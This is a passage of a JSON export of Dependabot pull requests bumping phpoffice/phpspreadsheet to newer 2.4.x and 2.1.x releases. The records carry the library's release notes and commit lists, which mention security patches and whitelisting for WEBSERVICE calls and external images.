href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4635\"\u003ePHPOffice/PhpSpreadsheet#4635\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.4.1\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOption for Readers to create a new blank sheet if none match LoadSheetsOnly list. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4622\"\u003e#4622\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4622\"\u003ePHPOffice/PhpSpreadsheet#4622\u003c/a\u003e) Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4618\"\u003e#4618\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4618\"\u003ePHPOffice/PhpSpreadsheet#4618\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRemove \u003ccode\u003eimagedestroy\u003c/code\u003e from MemoryDrawing. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4625\"\u003e#4625\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4625\"\u003ePHPOffice/PhpSpreadsheet#4625\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCompatibility changes for Php 8.5. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4600\"\u003e#4600\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4600\"\u003ePHPOffice/PhpSpreadsheet#4600\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4614\"\u003e#4614\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4614\"\u003ePHPOffice/PhpSpreadsheet#4614\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4594\"\u003e#4594\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4594\"\u003ePHPOffice/PhpSpreadsheet#4594\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4588\"\u003e#4588\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4588\"\u003ePHPOffice/PhpSpreadsheet#4588\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/2.4.5/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 2.4.5\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 2.4.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 2.4.3\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-11-24 - 2.4.2\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5. This is the last version of Php which can be used with this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePhp8.5 deprecates use of null as array index. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4635\"\u003e#4635\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4635\"\u003ePHPOffice/PhpSpreadsheet#4635\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-09-03 - 2.4.1\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOption for Readers to create a new blank sheet if none match LoadSheetsOnly list. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4622\"\u003e#4622\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4622\"\u003ePHPOffice/PhpSpreadsheet#4622\u003c/a\u003e) Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4618\"\u003e#4618\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4618\"\u003ePHPOffice/PhpSpreadsheet#4618\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRemove \u003ccode\u003eimagedestroy\u003c/code\u003e from MemoryDrawing. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4625\"\u003e#4625\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4625\"\u003ePHPOffice/PhpSpreadsheet#4625\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCompatibility changes for Php 8.5. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4600\"\u003e#4600\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4600\"\u003ePHPOffice/PhpSpreadsheet#4600\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4614\"\u003e#4614\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4614\"\u003ePHPOffice/PhpSpreadsheet#4614\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4594\"\u003e#4594\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4594\"\u003ePHPOffice/PhpSpreadsheet#4594\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4588\"\u003e#4588\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4588\"\u003ePHPOffice/PhpSpreadsheet#4588\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/ec7815be350e03df90f3e2ace92653fa6cb4327c\"\u003e\u003ccode\u003eec7815b\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/78bf6f0b4945ab31f1935741324ef3f0bf59a6fe\"\u003e\u003ccode\u003e78bf6f0\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2359c5ac5a532ded22c9649ebd3598dfda6fec44\"\u003e\u003ccode\u003e2359c5a\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images 2.4.x (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4852\"\u003e#4852\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1f8d2fd7f2709fb63c495c3b30d601796fded029\"\u003e\u003ccode\u003e1f8d2fd\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/140a593662a1dbd10f31322fe93c7714dc7359ca\"\u003e\u003ccode\u003e140a593\u003c/code\u003e\u003c/a\u003e Update Copyright 2.4.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/3b204d00c19f9d809f8d2374f408b197f37ad0bd\"\u003e\u003ccode\u003e3b204d0\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/61ceadaa7b0aa7367c946da9f1c8865c0741649e\"\u003e\u003ccode\u003e61ceada\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R222 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4756\"\u003e#4756\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c73b73733a0e7b441f245fb9b80f99da58c7bb2c\"\u003e\u003ccode\u003ec73b737\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/679180e5f17b6fac05f8597331bfe1ac7fb9f2b6\"\u003e\u003ccode\u003e679180e\u003c/code\u003e\u003c/a\u003e Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/931ad61fb2c229063fc4e7e665fb52b87249cc56\"\u003e\u003ccode\u003e931ad61\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/2.4.0...2.4.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=2.4.0\u0026new-version=2.4.5)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/UN-OCHA/iasc8/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/UN-OCHA/iasc8/pull/1218","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/UN-OCHA%2Fiasc8/issues/1218","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1218/packages"},{"uuid":"4346737208","node_id":"PR_kwDOReVOmM7WhEGe","number":5,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 2.1.0 to 2.1.16","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-03T16:55:16.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-28T22:52:11.000Z","updated_at":"2026-05-03T16:55:25.000Z","time_to_close":410585,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"2.1.0","new_version":"2.1.16","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 2.1.0 to 2.1.16.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.15\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.14\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.13\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.12\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.11\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4546\"\u003e#4546\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4546\"\u003ePHPOffice/PhpSpreadsheet#4546\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.10\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4406\"\u003e#4406\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4406\"\u003ePHPOffice/PhpSpreadsheet#4406\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/2.1.16/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 2.1.16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 2.1.15\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 2.1.14\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 2.1.13\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.4.0 as of the date when this is being written), 3.10.x (current version is 3.10.3), and 2.4.x (2.4.3).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-08-10 - 2.1.12\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-07-23 - 2.1.11\u003c/h1\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4546\"\u003e#4546\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4546\"\u003ePHPOffice/PhpSpreadsheet#4546\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-06-22 - 2.1.10\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c91ff54b743e3f70f880e7145a9821474cd82f16\"\u003e\u003ccode\u003ec91ff54\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1255154d4a2036a46124b2a87bfa3a92d14843c7\"\u003e\u003ccode\u003e1255154\u003c/code\u003e\u003c/a\u003e Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/59a837f2eb8057a8e983d68587d4920f83266c5d\"\u003e\u003ccode\u003e59a837f\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4851\"\u003e#4851\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4331d3af1b276b1e40b85a349f57134e81d7d6a5\"\u003e\u003ccode\u003e4331d3a\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/95ef5438c6894a345eee752950381cdc416900d8\"\u003e\u003ccode\u003e95ef543\u003c/code\u003e\u003c/a\u003e Update Copyright Branch 2.1.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4d9863bf273ed491168a1b173330968bc0f21e03\"\u003e\u003ccode\u003e4d9863b\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/202278b0d5f1deb29bfdb12ba727d1240e8ac118\"\u003e\u003ccode\u003e202278b\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/dfa2b1db8071f25685b3d07f79e83244478413ed\"\u003e\u003ccode\u003edfa2b1d\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R210 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4757\"\u003e#4757\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2d0becc39a61b29cfa04c92cb450614a58dd8447\"\u003e\u003ccode\u003e2d0becc\u003c/code\u003e\u003c/a\u003e Update README to Reflect New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/0949bee8b9c3e8924852cc56c18d2070b7a443d0\"\u003e\u003ccode\u003e0949bee\u003c/code\u003e\u003c/a\u003e Prep Work for 2.1.13\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/2.1.0...2.1.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=2.1.0\u0026new-version=2.1.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Coricap-RIPA/ripa-backend-one/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Coricap-RIPA/ripa-backend-one/pull/5","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Coricap-RIPA%2Fripa-backend-one/issues/5","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/5/packages"},{"uuid":"4330658931","node_id":"PR_kwDOR0M_Gs7VtcLD","number":5,"state":"open","title":"Update phpoffice/phpspreadsheet requirement from ^2.0 to 